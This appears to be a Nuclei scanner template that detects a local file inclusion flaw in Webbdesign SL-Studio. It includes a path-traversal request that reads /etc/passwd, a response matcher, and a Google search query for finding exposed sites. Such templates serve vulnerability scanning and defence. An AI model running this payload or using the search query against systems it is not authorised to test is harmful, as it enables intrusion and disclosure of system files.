id: sl-studio-lfi

info:
  name: Webbdesign SL-Studio - Local File Inclusion
  author: 0x_Akoko
  severity: high
  description: Webbdesign SL-Studio is vulnerable to local file inclusion.
  reference:
    - https://cxsecurity.com/issue/WLB-2018110187
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
    google-query: 'inurl:index.php?page= intext:Webbdesign: SL-Studio.'
  tags: slstudio,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?page=../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502200b05789301c1bc342f8d707133eca7846636abf859ceb298719ce597ee4b133a022100b8e3c9ae680e3b5b329f92c4f0513eb56f40ad5c7309abf50371e7ecc5bc2ca5:922c64590222798bb761d5b6d8e72950